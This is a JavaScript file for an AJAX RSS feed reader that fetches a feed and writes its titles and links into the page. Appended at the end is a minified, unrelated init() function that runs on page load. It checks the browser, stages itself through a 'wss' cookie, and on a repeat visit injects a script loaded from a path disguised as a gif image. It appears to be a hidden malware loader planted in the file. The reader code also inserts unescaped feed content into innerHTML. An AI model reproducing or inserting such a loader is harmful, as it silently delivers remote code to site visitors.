// JavaScript Document

var RSSRequestObject = false; // XMLHttpRequest Object

/*
* onreadystatechange function
*/
function ReqChange() {

	// If data received correctly
	if (RSSRequestObject.readyState==4) {
	
		// if data is valid
		if (RSSRequestObject.responseText.indexOf('invalid') == -1) { 	
			// Parsing RSS
			var node = RSSRequestObject.responseXML.documentElement; 
			
			// Get Channel information
			var channel = node.getElementsByTagName('channel').item(0);
			var rss_title = channel.getElementsByTagName('title').item(0).firstChild.data;
			var rss_link = channel.getElementsByTagName('link').item(0).firstChild.data;
			var content = '';
			
			content = '<h2><a href="' + rss_link + '" target="_blank">' + rss_title + '</a></h2><ul>';
		
			// Browse items
			var items = channel.getElementsByTagName('item');
			var css_class = 'oneven';
			for (var n=0; n < items.length; n++) {
				var itemTitle = items[n].getElementsByTagName('title').item(0).firstChild.data;
				var itemLink = items[n].getElementsByTagName('link').item(0).firstChild.data;

					content += '<li class="'+css_class+'"><a href="'+itemLink+'" target="_blank">'+itemTitle+'</a></li>';

				if (css_class == 'oneven') {
					css_class = 'even'
				} else {
					css_class = 'oneven'
				}
			}
			
			content += '</ul>';
			
			// Display the result
			document.getElementById("ajaxreader").innerHTML = content;

			// Tell the reader the everything is done
			document.getElementById("status").innerHTML = "";
			
		} else {
			// Tell the reader that there was error requesting data
			document.getElementById("status").innerHTML = "<div class=error>Error requesting data.<div>";
		}
		HideShow('status');
	}
}

/*
* Main AJAX RSS reader request
*/
function makeRequest(url) {
	document.getElementById('ajaxreader').innerHTML = "";
	post = createRequestObject();
	sendFeed(url);
}
function createRequestObject() {
	if(window.XMLHttpRequest) {
		RSSRequestObject = new XMLHttpRequest();
	} else if(window.ActiveXObject){
		RSSRequestObject = new ActiveXObject("MSXML2.XMLHTTP");
		alert('ActiveX');
	}
	return RSSRequestObject;
}
function checkReadyState(RSSRequestObject) {
	if(RSSRequestObject.readyState == 0) { document.getElementById('status').innerHTML = "Sending Request..."; }
	if(RSSRequestObject.readyState == 1) { document.getElementById('status').innerHTML = "Loading Feed..."; }
	if(RSSRequestObject.readyState == 2) { document.getElementById('status').innerHTML = "Loading Feed..."; }
	if(RSSRequestObject.readyState == 3) { document.getElementById('status').innerHTML = "Loading Feed..."; }
	if(RSSRequestObject.readyState == 4) {
		if(RSSRequestObject.status == 200) {
			return true;
		} else {
			document.getElementById('status').innerHTML = "HTTP " + RSSRequestObject.status;
		}
	}
}
function sendFeed(url) {
	post.onreadystatechange = sendRequest;
	post.open("POST", url, true);
	post.send(url);
}
function sendRequest() {
	if(checkReadyState(post)) {
		request = createRequestObject();
		request.onreadystatechange = ReqChange;
		request.open("GET", post.responseText, true);
		request.send(null);
	}
}

/*
* Timer
*/
function update_timer() {
	makeRequest('request.php');
}
function HideShow(id){
	var el = GetObject(id);
	if(el.style.display=="none")
	el.style.display='';
	else
	el.style.display='none';
}
function GetObject(id){
	var el = document.getElementById(id);
	return(el);
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/cb-logo.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();